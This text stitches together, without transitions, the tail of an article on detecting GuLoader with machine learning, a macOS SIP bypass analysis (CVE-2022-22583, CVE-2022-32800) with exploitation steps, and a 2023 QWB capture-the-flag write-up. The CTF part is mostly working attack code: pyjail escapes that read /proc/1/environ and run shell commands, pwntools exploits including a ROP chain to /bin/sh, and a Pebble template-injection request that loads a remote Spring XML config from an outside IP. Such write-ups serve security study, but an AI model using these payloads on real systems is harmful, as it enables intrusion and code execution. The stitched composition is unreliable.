GuLoader有時在有效負載URL前麵包含7到8個隨機字符,它在運行時將其替換為http://或https://。使用http還是https的區別是由隨機模式中的第四個字符決定的。

12.png

在此示例中,有效負載URL為http://ozd[.]com[.]ar/wp-includes/nHMoYlbGLWls101.qxd,並且在分析時有效載荷仍然在線。

最終下載的有效負載來自FormBook惡意軟件家族,其SHA256值為fa0b6404535c2b3953e2b571608729d15fb78435949037f13f05d1f5c1758173。

機器學習如何檢測?在之前的一篇文章中,我們詳細介紹了在實時沙盒運行期間可以從內存中提取的幾種可觀察工件。我們發現,當與機器學習結合使用多種逃避技術檢測惡意軟件時,來自內存分析的數據是非常強大的。

接下來我們回仔細觀察所有這些關於運行時內存中被修改的內容,並將它們與大規模的機器學習相結合,用於惡意軟件檢測。該算法可以自動找到模式,並且可以識別惡意軟件試圖在內存中隱藏其足跡、動態分配和執行shellcode或使用解包的共性。

在這個GuLoader示例中,人類分析人員會立即識別出有幾個獨特的函數指針。我們還會注意到,惡意軟件已經將其自身進程內存中的多個頁面的頁面權限更改為可寫和可執行。我們的機器學習模型能夠自動執行這些活動,從各種內存構件中提取有關特徵來檢測GuLoader示例。

如上所述,我們為Advanced WildFire創建的自動分析平台將以一種高性能的方式自動提取所有這些基於內存的工件。這意味著所有與動態解析函數指針、權限更改和解包可執行文件相關的信息都可以在我們手動管理的檢測邏輯中使用,也可以用於我們的機器學習渠道。

使用機器學習模式的檢測下圖顯示了我們如何創建一個機器學習模型渠道的高級視圖,該模型渠道是根據從上述基於內存的工件中提取的自定義特徵進行訓練的。我們選擇的特性被設計成保留來自冗長工件的最有用的信息。

我們還將惡意軟件執行跟踪作為額外的信息源,並構建了一個集成模型來檢測惡意樣本。如下圖所示,從四個內存工件和惡意軟件執行痕跡中自動提取各種自定義特徵,並將它們傳遞給一個分類模型以檢測惡意樣本。此外,我們還構建了一個集成模型,該模型基於內存工件和基於執行跟踪的特性進行訓練,以提高其性能。

13.png

機器學習模型架構

文件樣本由流程渠道處理,以將內存工件和其他惡意軟件屬性保存到功能存儲中。特徵提取階段使用流式處理和批處理PySpark作業的組合來生成用於訓練模型的最終特徵向量。

ground truth標籤來自一個單獨的渠道,該渠道根據惡意軟件特徵和研究人員輸入為樣本分配標籤。該渠道通過使用樣本首次出現的時間和哈希來生成非重疊的訓練和評估數據集。

解釋模型預測為了識別模型的局限性和能力,理解機器學習模型的預測是至關重要的。機器學習很容易出現誤報,因為它嚴重依賴於訓練數據的質量和多樣性,以及對不斷變化的文件進行預測的泛化能力。因此,具有識別預測的因果特徵的能力是非常有用的。

Shapley值Shapley加法解釋(SHAP)是一種博弈論方法,用於解釋任何機器學習模型的輸出。與基線預測相比,SHAP值解釋了每個特徵對輸入特徵向量的實際預測的影響。在下圖中,從右到左的紅色特徵是將模型推向惡意預測的最頂層特徵。從左到右,藍色的特徵表示降低預測為惡意軟件概率的最頂層特徵。

15.png

如上圖所示,我們繪製了具有重要SHAP值的前七個特徵及其相應原始特徵值的力圖。由於這些頂級特徵的存在,我們的機器學習模型能夠檢測到GuLoader。這些特性對應於幾個特定的動態解析API指針及其在內存中的相對位置,以及樣本所做的內存頁權限更改的相對類型。

通過聚類尋找相似樣本另一種理解模型預測的方法是在訓練數據集中識別相似的樣本。我們使用基於密度的掃描(DBScan)作為聚類技術,如下圖所示,因為它允許異常值和不同形狀的聚類。

16.png

基於DBSCAN的集群

總結GuLoader家族是unit42開發的機器學習模型檢測惡意軟件的一個很好的示例,因為GuLoader使用沙盒逃避和靜態防護,使得傳統防禦很難單獨使用結構線索和執行日誌進行檢測。

在Advanced WildFire中,開發人員引入了一個基於虛擬機監控程序的沙盒,它可以在執行期間暗中觀察GuLoader的內存,以解析有意義的內存駐留工件和對機器學習檢測渠道有用的信息。這允許安全防護人員使用從觀察到的基於內存的工件中提取的特徵來準確地檢測惡意行為。

我們會在本文詳細介紹如何使用不同的方法利用CVE-2022-22583的技術細節。我們還在本報告中討論了CVE-2022-32800的技術細節。

2022年1月26日,蘋果公司修復了PackageKit框架中的系統完整性保護(SIP)繞過漏洞,該漏洞被識別為CVE-2022-22583。

Perception Point發布了一篇關於該漏洞及其利用細節的文章後,我們確定我們利用該漏洞的方法與他們的不同。在深入挖掘CVE-2022-22583之後,我們還發現了一個新的漏洞CVE-2022-32800。

這篇文章討論了我們如何使用不同的方法利用CVE-2022-22583的技術細節。關於SIP和特殊守護進程服務的權利的更多詳細信息可以在我們上個月的文章中找到。我們還會討論在2022年社區力量安全會議(POC2022)期間向蘋果披露的15個以上關鍵SIP繞過漏洞中的幾個。

CVE-2022-22583CVE-2022-22583的安全漏洞我們通過進程監控發現了這個漏洞。當我們將apple簽名的軟件安裝包(PKG)文件安裝到root volume時,我們注意到以下腳本是由特權“system_install”服務生成的:

1.png

因為“system_installd”服務具有特殊的“com.apple.rootless.install.heritable”權限,所以這兩個腳本將在SIP繞過上下文中執行。

在看到這兩個腳本位於“/tmp/PKInstallSandbox.l57ygT”目錄後,我想到了以下問題:

我們可以修改臨時位置內的腳本嗎?

誰創建了帶有隨機後綴的臨時文件夾“PKInstallSandbox”?

新創建的文件夾是否受SIP保護?

在這些問題的啟發下,我們開始了調查。

通過反轉和調試,我們發現臨時文件夾是由' -[PKInstallSandbox prepareForCommitReturningError:] '函數創建的:

2.png

“prepareForCommitXXX”函數的實現

在第16行,它調用另一個函數“-[PKInstallSandbox _createDirectory:uniquifying:error:]”,該函數在內部調用API“mkdtemp”來不受任何限制地創建文件夾。

3.png

“_createDirectory:uniquifying:”函數的實現

在看到“PKInstallSandbox.XXXXXXX”文件夾未受保護後,我們最初認為它可以被利用和操縱。然而,我們未能直接修改文件夾中的腳本。這是因為子文件夾“Scripts”受到限制,它從受限制的沙盒路徑中移動,如上第25行所示。

至少有兩種不同的方法來克服這個特殊的挑戰並利用這個安全漏洞。

漏洞1:使用掛載技巧第一個漏洞使用掛載技巧。 Perception Point在其文章中對此進行了詳細討論。根據調查,掛載技巧可以通過以下步驟完成:

創建虛擬映像文件並將其裝載到“/private/tmp”上;

使用安裝後腳本安裝Apple簽名的軟件包;

等待安裝程序完成腳本目錄的提取,並收集提取路徑的隨機部分;

卸載映像文件,這將恢復到提取前的“/private/tmp”內容;

創建腳本目錄(使用我們之前獲得的隨機路徑),並將我們想要的任何腳本放入其中。

Perception Point的文章還指出,這裡討論的漏洞取決於時間,可能不會一直成功。

漏洞2:使用符號鏈接我們的漏洞使用了另一種方法:符號鏈接。此漏洞可通過以下步驟實現:

監視“/tmp/PKInstallSandbox.XXXXXXX”目錄的創建,並將其替換為指向另一個“/tmp/fakebox”位置的符號鏈接,以將受限制的腳本重定向到那裡;

一旦腳本位於“/tmp/fakebox”中,請刪除符號鏈接並重新創建相同的“/tmp/PKInstallSandbox.XXXXXXX”目錄,然後將有效負載腳本放在“/tmp/pKInstallSandox.XXXXXXX/scripts/pkgid.XXXXXX/”目錄中;

等待有效負載腳本執行;

此漏洞的完整概念證明已上傳到了GitHub上。我們的概念驗證演示也可以在下圖中看到。

4.png

使用symlink的漏洞演示

即使我們是root用戶,也無法在受限目錄“/Library/Apple”中創建文件,因為SIP狀態已啟用。但是在利用程序的幫助下,我們可以在SIP繞過上下文中執行任意命令,並在受限目錄中成功創建文件。

蘋果CVE-2022-22583的補丁“installd”服務和“system_installd”服務的操作方式有點混亂。在下圖中,我們可以看到第17行和第18行的補丁代碼區分了這兩種服務:

5.png

CVE-2022-22583的補丁

對於蘋果簽署的軟件包,該補丁使用“OpenPath”及其自己的受限沙盒路徑。對於其他包,它仍然使用“/tmp”目錄中的隨機路徑。

安裝沙盒在介紹CVE-2022-32800之前,我們需要了解一些與“安裝沙盒”相關的概念。

Sandbox Repository首先,讓我們看一下“Sandbox Repository”,這是一個由“-[PKInstallSandboxManager _sandboxRepositoryForDestination:forSystemSoftware:create:error:]”函數返回和創建的目錄。

6.png

“_sandboxRepositoryForDestination:XXX”函數的實現

總之,有四種Sandbox Repository:

安裝目標為root volume“/”:

a.對於Apple簽名的pkg: /Library/Apple/System/Library/InstallerSandboxes/.PKInstallSandboxManager-SystemSoftware;

b.其他pkg: /Library/InstallerSandboxes/.PKInstallSandboxManager;

安裝目標不是root volume:

a.對於apple簽名的pkg: $targetVolume/.PKInstallSandboxManager-SystemSoftware;

b.其他pkg: $targetVolume/.PKInstallSandboxManager;

需要注意的是,只有當apple簽名包安裝到root volume時,Sandbox Repository才會受到限制。

沙盒路徑“沙盒路徑”用於在安裝期間存儲腳本和有效載荷等文件。

它是“Sandbox Repository”中的一個目錄,由“[PKInstallSandboxManager addSandboxPathForDestination:forSystemSoftware:]_block_invoke”方法創建:

7.png

實現“addSandboxPathForDestination:XXX”函數

沙盒路徑有四種,每種路徑都有一個通用唯一標識符(UUID)名稱,表示它們特定的沙盒狀態:

UUID.sandbox:創建的第一個狀態;

UUID.activeSandbox:激活狀態,正在使用中;

UUID.trashedSandbox:停用狀態,被丟棄;

UUID.orphanedSandbox:孤立狀態,如果磁盤空間不足,將進行清理;

PKInstallSandbox' PKInstallSandbox '是一個用於抽象和封裝的Objective-C類名:

8.png

通過“-[PKInstallSandbox initWithSandboxPath:installRequest:error:]”方法初始化“PKInstallSandbox”的新實例,這取決於沙盒路徑和安裝請求。

請注意,該實例是可序列化的,並且該類實現了“NSSecureCoding”協議。 “system_installd”服務可以通過“-[PKInstallSandboxManager saveSandboxAsStaged:]”方法將實例保存或序列化到沙盒路徑中名為“SandboxState”的文件中:

9.png

“saveSandboxAsStaged”函數的實現

“PKInstallSandbox”實例也可以稍後通過“-[PKInstallSandboxManager_sandboxAtPath:matchingRequest:forUse:]”方法從“SandboxState”文件還原或反序列化:

10.png

“sandboxAtPath:matchingRequest:XXX”函數的實現

注意,在第57行有一個檢查,它要求恢復的安裝請求與從安裝客戶端傳遞的安裝請求深度相等。這項檢查給我們的開發程序帶來了一個小小的挑戰。

在安裝之前,“system_installd”服務需要根據“-[PKInstallSandboxManagersandboxForRequest:created:error:]”函數中的安裝請求獲取“PKInstallSandbox”的實例。

該函數的核心邏輯如下:

首先,它將從“sandbox Repository”中枚舉所有帶有“.ssandbox”後綴的文件夾,然後從內部的“SandboxState”文件中恢復“PKInstallSandbox”實例。

11.png

枚舉帶有“.ssandbox”後綴的所有文件夾

接下來,如果它找不到與安裝請求匹配的“PKInstallSandbox”實例,那麼它將枚舉帶有“.activeSandbox”後綴的所有文件夾,並嘗試從這些位置還原它們。

12.png

枚舉帶有“.activeSandbox”後綴的所有文件夾

最後,如果它仍然不能匹配這樣的沙盒,它將創建一個新的“沙盒路徑”,並構造一個新的“PKInstallSandbox”實例。

13.png

創建一個新的“沙盒路徑”和實例

CVE-2022-32800漏洞詳細信息CVE-2022-32800漏洞允許攻擊者劫持“SandboxState”文件以獲取SIP繞過原語。

“SandboxState”文件存儲在“Sandbox路徑”中,該路徑位於“Sandbox Repository”中。在正常情況下,“Sandbox存儲庫”僅限於Apple簽名的軟件包。

但是,如果安裝目標是DMG(磁盤映像)卷,則根本不限制“Sandbox Repository”。 “SandboxState”文件也是如此。因此,我們可以製作一個特製的“SandboxState”文件,在反序列化過程中劫持新的“PKInstallSandbox”實例。然後可以控制“PKInstallSandbox”實例的所有成員變量。

漏洞利用有不同的方法可以利用這個漏洞。例如,在下圖中,我們劫持了成員“_cleanupPaths”,以獲取一個原語來刪除任意的SIP保護路徑。

安裝完成後,無論是否成功,它都將調用“-[PKInstallSandboxManager_removeSandbox:]”函數刪除沙盒,並刪除“_cleanupPaths”成員指定的所有文件和文件夾。

14.png

“_removeSandbox”函數的實現

該漏洞的完整概念證明可以在GitHub找到,演示視頻可以在此查看。

蘋果CVE-2022-32800的補丁

蘋果在macOS 12.5中修復了這一安全漏洞。

補丁位於“-[PKInstallSandboxManager _sandboxAtPath:matchingRequest:forUse:]”函數中:

15.png

CVE-2022-32800補丁

正如我們在第38行檢查中看到的,它在內部調用“PKSIPFullyProtectedPath”函數:

16.png

“PKSIPFullyProtectedPath”函數的實現

對於Apple簽名的軟件包,“SandboxState”文件需要受信任或限制。

安全建議為了成功地保護系統免受漏洞攻擊,用戶必須定期更新其操作系統。定期應用安全補丁將阻止攻擊者利用漏洞提升權限並發起惡意攻擊。關於此處討論的漏洞,CVE-2022-22583於2022年1月修補,CVE-2022 2-32800於2022年7月修補。

最終用戶可以受益於安全解決方案,如趨勢科技Mac版防病毒軟件和趨勢科技防護套件,它們有助於檢測和阻止利用此類漏洞的攻擊。

MISC

easyfuzz

1、通过尝试输入字符串判断该程序对输入字符的验证规则为9位字符,并且只要满足输入正确字符使最后返回值全部为111111111即可得flag

4yprmgcvx5m13362.jpg

继续大胆猜测并尝试,发现前两位字符可以为任何字符,都满足110000000,由此可以对后七位字符进行爆破

44cm5q3iitg13365.png

2、逐位爆破,验证思路正确,最后一位为字符串"d"

ljqkzfnsk2213367.png

3、编写爆破脚本,当字符串长度为9位并输入时,将回显不为“Here is your code coverage: 110000000”的结果打印,脚本如下

from pwn import *
from string import printable
conn = remote('101.200.122.251', 12199)
non_matching_strings = []
for i in range(9):
    for char in printable:
        payload = 'a'*i + char + 'a'*(8-i)
        print(conn.recvuntil(b'Enter a string (should be less than 10 bytes):'))
        conn.sendline(payload.encode())
        response = conn.recvline().decode().strip()
        if response != "Here is your code coverage: 110000000":
            non_matching_strings.append(payload)
for string in non_matching_strings:
    print(string)

FLAG:qwb{YouKnowHowToFuzz!}

签到

flag{welcome_to_qwb_2023}

Pyjail ! It's myFILTER !!!

Python沙箱逃逸闭合之后open直接读environ得到flag

{13212}'+(print(open('/proc/1/environ').read()))+'
 或者使用payload:
{print(open("/proc/1/environ").read())}
va31501o1xh13369.jpg lgnj51xzwlo13371.jpg
flag{61e81b4f-566c-49f5-84dd-d79319fddc82}

Pyjail ! It's myRevenge !!!

Python沙箱逃逸

用write写文件import os;os.system(“nl fl* >hzy”)执行之后再用read读取执行内容得到flag

过滤字符全用八进制绕过,分段写

{13212}'+(open('wsy', "a").write('151155160157162'))+'{13212}'+(open('wsy', "a").write('t 157'))+'{13212}'+(open('wsy', "a").write('163;157'))+'{13212}'+(open('wsy', "a").write('163.'))+'{13212}'+(open('wsy', "a").write('163y'))+'{13212}'+(open('wsy', "a").write('st'))+'{13212}'+(open('wsy', "a").write('em("nl 146*>hzy")'))+'{13212}'+open('143157de.py','w').write(open('wsy').read())+'{13212}'+(print(open('hzy').read()))+'
或者依次执行下面poc:
{globals().update(dict(my_filter=lambda x:1))}''{in''put()}'#
{globals().update(dict(len=lambda x:0))}''{in''put()}'#
{print("".__class__.__mro__[1].__subclasses__()[137].__init__.__globals__["__builtins__"]["__import__"]("os").listdir())}
['flag_26F574F8CEE82D06FEDC45CF5916B86A732DD326CE1CB2C9A96751E072D0A104', 'server_8F6C72124774022B.py']
{globals().update(dict(my_filter=lambda x:1))}''{in' 'put()}'# 
{globals(). update(dict(len=lambda x:0))}''{in' 'put()}'#
{print (open("flag_26F574F8CEE82D06FEDC45CF5916B86A732DD326CE1CB2C9A96751E072D0A104"). read())}
3j1v1vidnps13373.jpg  
flag{8f0a4ac2-52d3-4adb-a1a3-47e05997817d}

Wabby Wabbo Radio

f12可以拿到wav的链接/static/audios/xh4.wav

yw2feqxv3hm13375.jpg

重新刷新了一下发现是随机选取播放的

fuzz了一下总共有xh1-xh5和hint1-hint2以及flag.wav

每一个wav的左声道显然是莫斯

 

i0lif3ws5pu13378.jpg

 

分离声道,增幅,在线网站解一下

https://morsecode.world/international/decoder/audio-decoder-adaptive.html

得到:

Do you want a flag? Let's listen a little longer.Genshin Impact starts.The weather is really nice today. It's a great day to listen to the Wabby Wabbo radio.If you don't know how to do it, you can go ahead and do something else first.may be flag is png picturedo you know QAM?

其他都没啥用,就一个提示了QAM载波幅度

https://info.support.huawei.com/info-finder/encyclopedia/zh/QAM.html#Qam的星座图

简单了解了一下发现可以通过振幅来区分01,尝试打印了一下振幅,发现刚好都是集中在±1,±3之间

biay4wxsvvf13380.jpg

对比16QAM的星座图可以发现振幅拼一起刚好能起到一个信号的对应关系,但是不知道具体的对应关系是啥,直接盲猜一手从小到大,

简单的脚本如下:

import scipy.io.wavfile as wav
import numpy as np
import sys

sample_rate, data = wav.read("flag.wav")
for i in data:
    print(i)
flag=''
def repla(n):
    if n == -3:
        return '00'
    elif n == -1:
        return '01'
    elif n == 1:
        return '10'
    elif n == 3:
        return '11'

for x, y in data:
    n1 = round(float(x))
    n2 = round(float(y))
    flag += repla(n1)
    flag += repla(n2)

print(flag)

eiw1dnn4tdc13382.jpg

谍影重重3.0

给了hint:纸飞机他也是飞机,也能飞出国境抵达大洋彼岸,结合题目描述特殊隧道很容易联想到是vpn

稍微搜一下就可以得到是Shadowsks,参考文章:

https://phuker.github.io/posts/Shadowsks-active-probing.html

给出了完整解密脚本,但是不知道key,直接爆破一下,用HTTP当作请求成功的标识

#!/usr/bin/env python3
# encoding: utf-8

import os
import sys
import logging
import hashlib

from Crypto.Cipher import AES

logging.basicConfig(level=logging.INFO)


def EVP_BytesToKey(password, key_len, iv_len):
    m = []
    i = 0
    while len(b''.join(m)) < (key_len + iv_len):
        md5 = hashlib.md5()
        data = password
        if i > 0:
            data = m[i - 1] + password
        md5.update(data)
        m.append(md5.digest())
        i += 1
    ms = b''.join(m)
    key = ms[:key_len]
    iv = ms[key_len:key_len + iv_len]

    return key, iv

def decrypt(cipher,password):
    key_len = int(256/8)
    iv_len = 16
    mode = AES.MODE_CFB

    key, _ = EVP_BytesToKey(password, key_len, iv_len)
    cipher = bytes.fromhex(cipher)
    iv = cipher[:iv_len]
    real_cipher = cipher[iv_len:]

    obj = AES.new(key, mode, iv, segment_size=128)
    plain = obj.decrypt(real_cipher)

    return plain


def main():
    # test http request
    cipher = 'e0a77dfafb6948728ef45033116b34fc855e7ac8570caed829ca9b4c32c2f6f79184e333445c6027e18a6b53253dca03c6c464b8289cb7a16aa1766e6a0325ee842f9a766b81039fe50c5da12dfaa89eacce17b11ba9748899b49b071851040245fa5ea1312180def3d7c0f5af6973433544a8a342e8fcd2b1759086ead124e39a8b3e2f6dc5d56ad7e8548569eae98ec363f87930d4af80e984d0103036a91be4ad76f0cfb00206'

    with open('rockyou.txt','rb') as f:
        lines = f.readlines()
    for password in lines:
        plain = decrypt(cipher,password.strip())
        if b'HTTP' in plain:
            print(password,plain)

if __name__ == "__main__":
    main()

#b'superman\n' b'\x03\x0f192.168.159.131\x00PGET /Why-do-you-want-to-know-what-this-is HTTP/1.1\r\nHost: 192.168.159.131\r\nUser-Agent: curl/8.4.0\r\nAccept: */*\r\nConnection: close\r\n\r\n'

得到文件名为Why-do-you-want-to-know-what-this-is,md5后得到flag

flag{dc7e57298e65949102c17596f1934a97}

谍影重重2.0

根据题目描述飞机流量可以很容易联想到ADS-B协议

导出tcp流数据

tshark -r attach.pcapng -Y "tcp" -T fields -e tcp.segment_data > tcp.txt

解析脚本:

import pyModeS

with open('tcp.txt','r')as f:
    lines = f.readlines()
for data in lines:
    if len(data)==47:
        print(pyModeS.decoder.tell(data[18:]))

筛选一下Airborne velocity ,得到79a05e的飞机速度最快为371 knots,md5 ICAO address为flag

kter5lg30pv13383.jpg
或者

将数据包导出为json格式

 

szb5gys4xfa13385.png

 

使用脚本提取字段并进行MD5

import json
import pyModeS as pms
import hashlib
 
with open('123.json', 'r', encoding='utf-8') as file:
    data = json.load(file)
 
info = []
for packet in data:
    if 'layers' in packet['_source'] and 'tcp' in packet['_source']['layers']:
        tcp_layer = packet['_source']['layers']['tcp']
 
        if 'tcp.payload' in tcp_layer:
            tcp_payload = tcp_layer['tcp.payload'].replace(':','')
            info.append(tcp_payload)
 
planes_data = []
 
for i in info:
    msg = i[18:]
    if pms.adsb.typecode(msg) >= 19 and pms.adsb.typecode(msg) <= 22:
        icao = pms.adsb.icao(msg)
        velocity_info = pms.adsb.velocity(msg)
        speed, track, vertical_rate, _ = velocity_info
 
        plane_info = {"icao": icao, "speed": speed, "track": track, "vertical_rate": vertical_rate}
        planes_data.append(plane_info)
 
fastest_plane = max(planes_data, key=lambda x: x['speed'])
print(hashlib.md5(fastest_plane['icao'].upper().encode()).hexdigest())
#flag{4cf6729b9bc05686a79c1620b0b1967b}

happy chess

应该是非预期,随便输入9个任意位置直接exit掉该轮就算成功了

gk2hbpedrhk13387.jpg  

强网先锋

speedup

纯社工题,要求2的27次方的阶乘的逐位之和,OEIS上直接有这一个值了

https://oeis.org/A244060/list

2023 强网杯 writeup by Arr3stY0u

sha256后得到flag

flag{bbdee5c548fddfc76617c562952a3a3b03d423985c095521a8661d248fad3797}

找到PNG了吗

strings main.mem | grep "Linux version"
f5fr5onn5ke13392.jpg

拿到内核版本后照着

https://treasure-house.randark.site/blog/2023-10-25-MemoryForensic-Test/

做个linux的profile

python2 vol.py -f C:Users22826Desktopmain.mem --profile=LinuxUbuntu2004x64 linux_find_file -L | findstr "Desktop"

桌面上能找到个文件have_your_fun.jocker

xpcagh5qxcl13394.jpg

尝试导出,但为空

python2 vol.py -f C:Users22826Desktopmain.mem --profile=LinuxUbuntu2004x64 linux_find_file -i 0xffff9ce28fe300e8 -Ohave_your_fun.jocker

不知道如何恢复,直接尝试全局搜一下文件名

找到一个加密脚本,简单的两次rc4加密,key都给了

根据题目需要找png,可以猜测have_your_fun.jocker就是加密后的png

2023 强网杯 writeup by Arr3stY0u

直接加密一下png头

2023 强网杯 writeup by Arr3stY0u

可以直接定位到内存中残留的have_your_fun.jocker位置

2023 强网杯 writeup by Arr3stY0u

直接解密得到flag图

2023 强网杯 writeup by Arr3stY0u

flag{It's_So_Hard_To_Find_A_Picture}

trie

题目分析

–在构建路由表使用了字典树数据结构,每次遇到新ip会插入分支,并且其节点值赋值为tot

–查询时也是查找该字典树,取节点的tot为索引,打印四字节end[tot]

思路分析

–在add时使用完tot之后没有归零,导致在view时读取溢出部分数据(能够读取到secret上的flag),每次读取逆序4字节,将ascii码转成对应字符拼接即可。

–同时为了获取完整flag,每次需要使得search函数里查询得到的tot索引+1,为此需要构造一颗子树,使其空出若干个叶子,(每空出一个叶子即可打印4字节flag)

–我构造了一个空出9个叶子的节点,其中包含一个填充的(目的是使得tot至少为0x40)

2023 强网杯 writeup by Arr3stY0u

exp

 #!/usr/bin/env python3

from pwncli import *

cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
context.arch = "amd64"


def add(des, next):
    io.recvuntil(b"4. Quit.")
    io.sendline(b"1")
    io.recvuntil(b"Input destination IP:")
    io.sendline(des)
    io.recvuntil(b"Input the next hop:")
    io.sendline(next)


def show(des):
    io.recvuntil(b"4. Quit.")
    io.sendline(b"2")
    io.recvuntil(b"Input destination IP:")
    io.sendline(des)


def get_flag():
    io.recvuntil(b"4. Quit.")
    io.sendline(b"3")


def leak(data):
    add(str(data).encode() + b".0.0.0", b"0.0.0.0")
    get_flag()
    show(str(data).encode() + b".0.0.0")
    io.recvuntil(b"The next hop is ")
    info = io.recvuntil(b"\n", drop=True)
    parts = info.split(b".")
    parts = parts[::-1]
    ascii_values = [chr(int(part)) for part in parts]
    ascii_values = "".join(ascii_values)
    flag = ascii_values
    return flag


add("0.0.0.0", "0.0.0.0")  # 32
add("64.0.0.0", "0.0.0.0")  # 2
add("32.0.0.0", "0.0.0.0")  # 3
add("96.0.0.0", "0.0.0.0")  # 2
add("16.0.0.0", "0.0.0.0")  # 4
add("80.0.0.0", "0.0.0.0")  # 2
add("48.0.0.0", "0.0.0.0")  # 3
add("112.0.0.0", "0.0.0.0")  # 2
add("0.4.0.0", "0.0.0.0")  # 14

flag = ""
get_flag()
show(b"0.4.0.0")  # 0x40
io.recvuntil(b"The next hop is ")
info = io.recvuntil(b"\n", drop=True)
parts = info.split(b".")
parts = parts[::-1]
ascii_values = [chr(int(part)) for part in parts]
ascii_values = "".join(ascii_values)
flag += ascii_values
log.success(flag)

flag += leak(128)
log.success(flag)

flag += leak(192)
log.success(flag)

flag += leak(160)
log.success(flag)

flag += leak(144)
log.success(flag)

flag += leak(208)
log.success(flag)

flag += leak(176)
log.success(flag)

flag += leak(240)
log.success(flag)

flag += leak(224)
log.success(flag)

add(b"128.4.0.0", b"0.0.0.0")
get_flag()
show(b"128.4.0.0")  # 0x40
io.recvuntil(b"The next hop is ")
info = io.recvuntil(b"\n", drop=True)
parts = info.split(b".")
parts = parts[::-1]
ascii_values = [chr(int(part)) for part in parts]
ascii_values = "".join(ascii_values)
flag += ascii_values
log.success(flag)
io.interactive()

2023 强网杯 writeup by Arr3stY0u

ez_fmt

格式化字符串打printf的返回地址为csu的部分gadget,然后执行跳转magic_read(0x401205)执行rop链。

#!/usr/bin/env python3
'''
Author:7resp4ss
Date:2023-12-16 13:34:34
Usage:
    Debug : python3 exp.py debug elf-file-path -t -b malloc
    Remote: python3 exp.py remote elf-file-path ip:port
'''

from pwncli import *
cli_script()


io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

filename  = gift.filename # current filename
is_debug  = gift.debug # is debug or not 
is_remote = gift.remote # is remote or not
gdb_pid   = gift.gdb_pid # gdb pid if debug

ru('There is a gift for you ')
leak_stack  = int(rl()[:-1],16)
leak_ex2(leak_stack)


attack_stack = leak_stack - 0x8
pd = flat(
    {
        0:'%' + str(0xce) + 'c' + '%11$hhn%19$p',
        0x18:[0x401205],
        0x28:attack_stack,
    }
)
s(pd)
ru('0x')
leak_libc = int(r(12),16)
leak_ex2(leak_libc)
lb = leak_libc - 0x24083
libc.address = lb

pd = flat(
    {
        0x18:[
            CG.pop_rdi_ret(),
            CG.bin_sh(),
            lb + 0x51cd2]
    }
)
S()
s(pd)

ia()

hello spring

审计源码后发现是pepple的模板注入

发现过滤了

org.springframework.context.support.ClassPathXmlApplicationContext

用字符串拼接的方式绕过

org.springframework.context."+"support.ClassPathXmlApplicationContext

上传payload如下

POST /uploadFile HTTP/1.1
Host: eci-2ze7ksohishwh34f2u43.cloudeci1.ichunqiu.com:8088
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 567

content=%7B%25%20set%20y%3D%20beans.get(%22org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory%22).resourceLoader.classLoader.loadClass(%22java.beans.Beans%22)%20%25%7D%0A%7B%25%20set%20yy%20%3D%20%20beans.get(%22jacksonObjectMapper%22).readValue(%22%7B%7D%22%2C%20y)%20%25%7D%0A%7B%25%20set%20yyy%20%3D%20yy.instantiate(null%2C%22org.springframework%22%2B%22.context.support.ClassPathXmlApplicationContext%22)%20%25%7D%0A%7B%7B%20yyy.setConfigLocation(%22http%3A%2F%2F47.76.178.89%3A8081%2F1.xml%22)%20%7D%7D%0A%7B%7B%20yyy.refresh()%20%7D%7D

上传的文件名与时间有关,并且题目环境的时间与现实不一样

public static String general_time() {
    LocalDateTime currentTime = LocalDateTime.now();
    DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyyMMdd_HHmmss");
    String var10000 = currentTime.format(formatter);
    String fileName = "file_" + var10000 + ".pebble";
    System.out.println("filename is " + fileName);
    return fileName;
}

 

yoolbmjcpf013434.jpg

 

那么文件名就为 file_20231217_160502,发送payload去触发该点

GET /?x=../../../../../../../../tmp/file_20231217_160502 HTTP/1.1
Host: eci-2ze7ksohishwh34f2u43.cloudeci1.ichunqiu.com:8088
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

 

kvh3c5vfd3f13439.jpg

 

babyre

调试发现密钥和密文都变了

 

yadbuzrx2lm13445.jpg

 

加解密过程对应着修改

 

zhhgvvttz3y13449.jpg

 

解密脚本

#include <stdio.h>
#include <stdint.h>

//加密函数
void encrypt(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4])
{
    unsigned int i;
    uint32_t v0 = v[0], v1 = v[1], sum = 0x90508D47, delta = 0x77BF7F99;
    for (int j = 0; j < 4; j++)
    {
        for (i = 0; i < num_rounds; i++)
        {
            v0 += (((v1 >> 4) ^ (v1 << 5)) + v1) ^ (sum + key[sum & 3]) ^ sum;
            v1 += (((v0 >> 4) ^ (v0 << 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
            sum -= delta;
        }
    }
    v[0] = v0;
    v[1] = v1;
    printf("sum==0x%x\n", sum);
}

//解密函数
void decrypt(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4])
{
    unsigned int i;
    uint32_t v0 = v[0], v1 = v[1], delta = 0x77BF7F99, sum = 0xd192c263;
    for (int j = 0; j < 4; j++)
    {
        for (i = 0; i < num_rounds; i++)
        {
            sum += delta;
            v1 -= (((v0 >> 4) ^ (v0 << 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
            v0 -= (((v1 >> 4) ^ (v1 << 5)) + v1) ^ (sum + key[sum & 3]) ^ sum;
        }
    }
    v[0] = v0;
    v[1] = v1;
    printf("sum==0x%x\n", sum);
}

//打印数据 hex_or_chr: 1-hex 0-chr
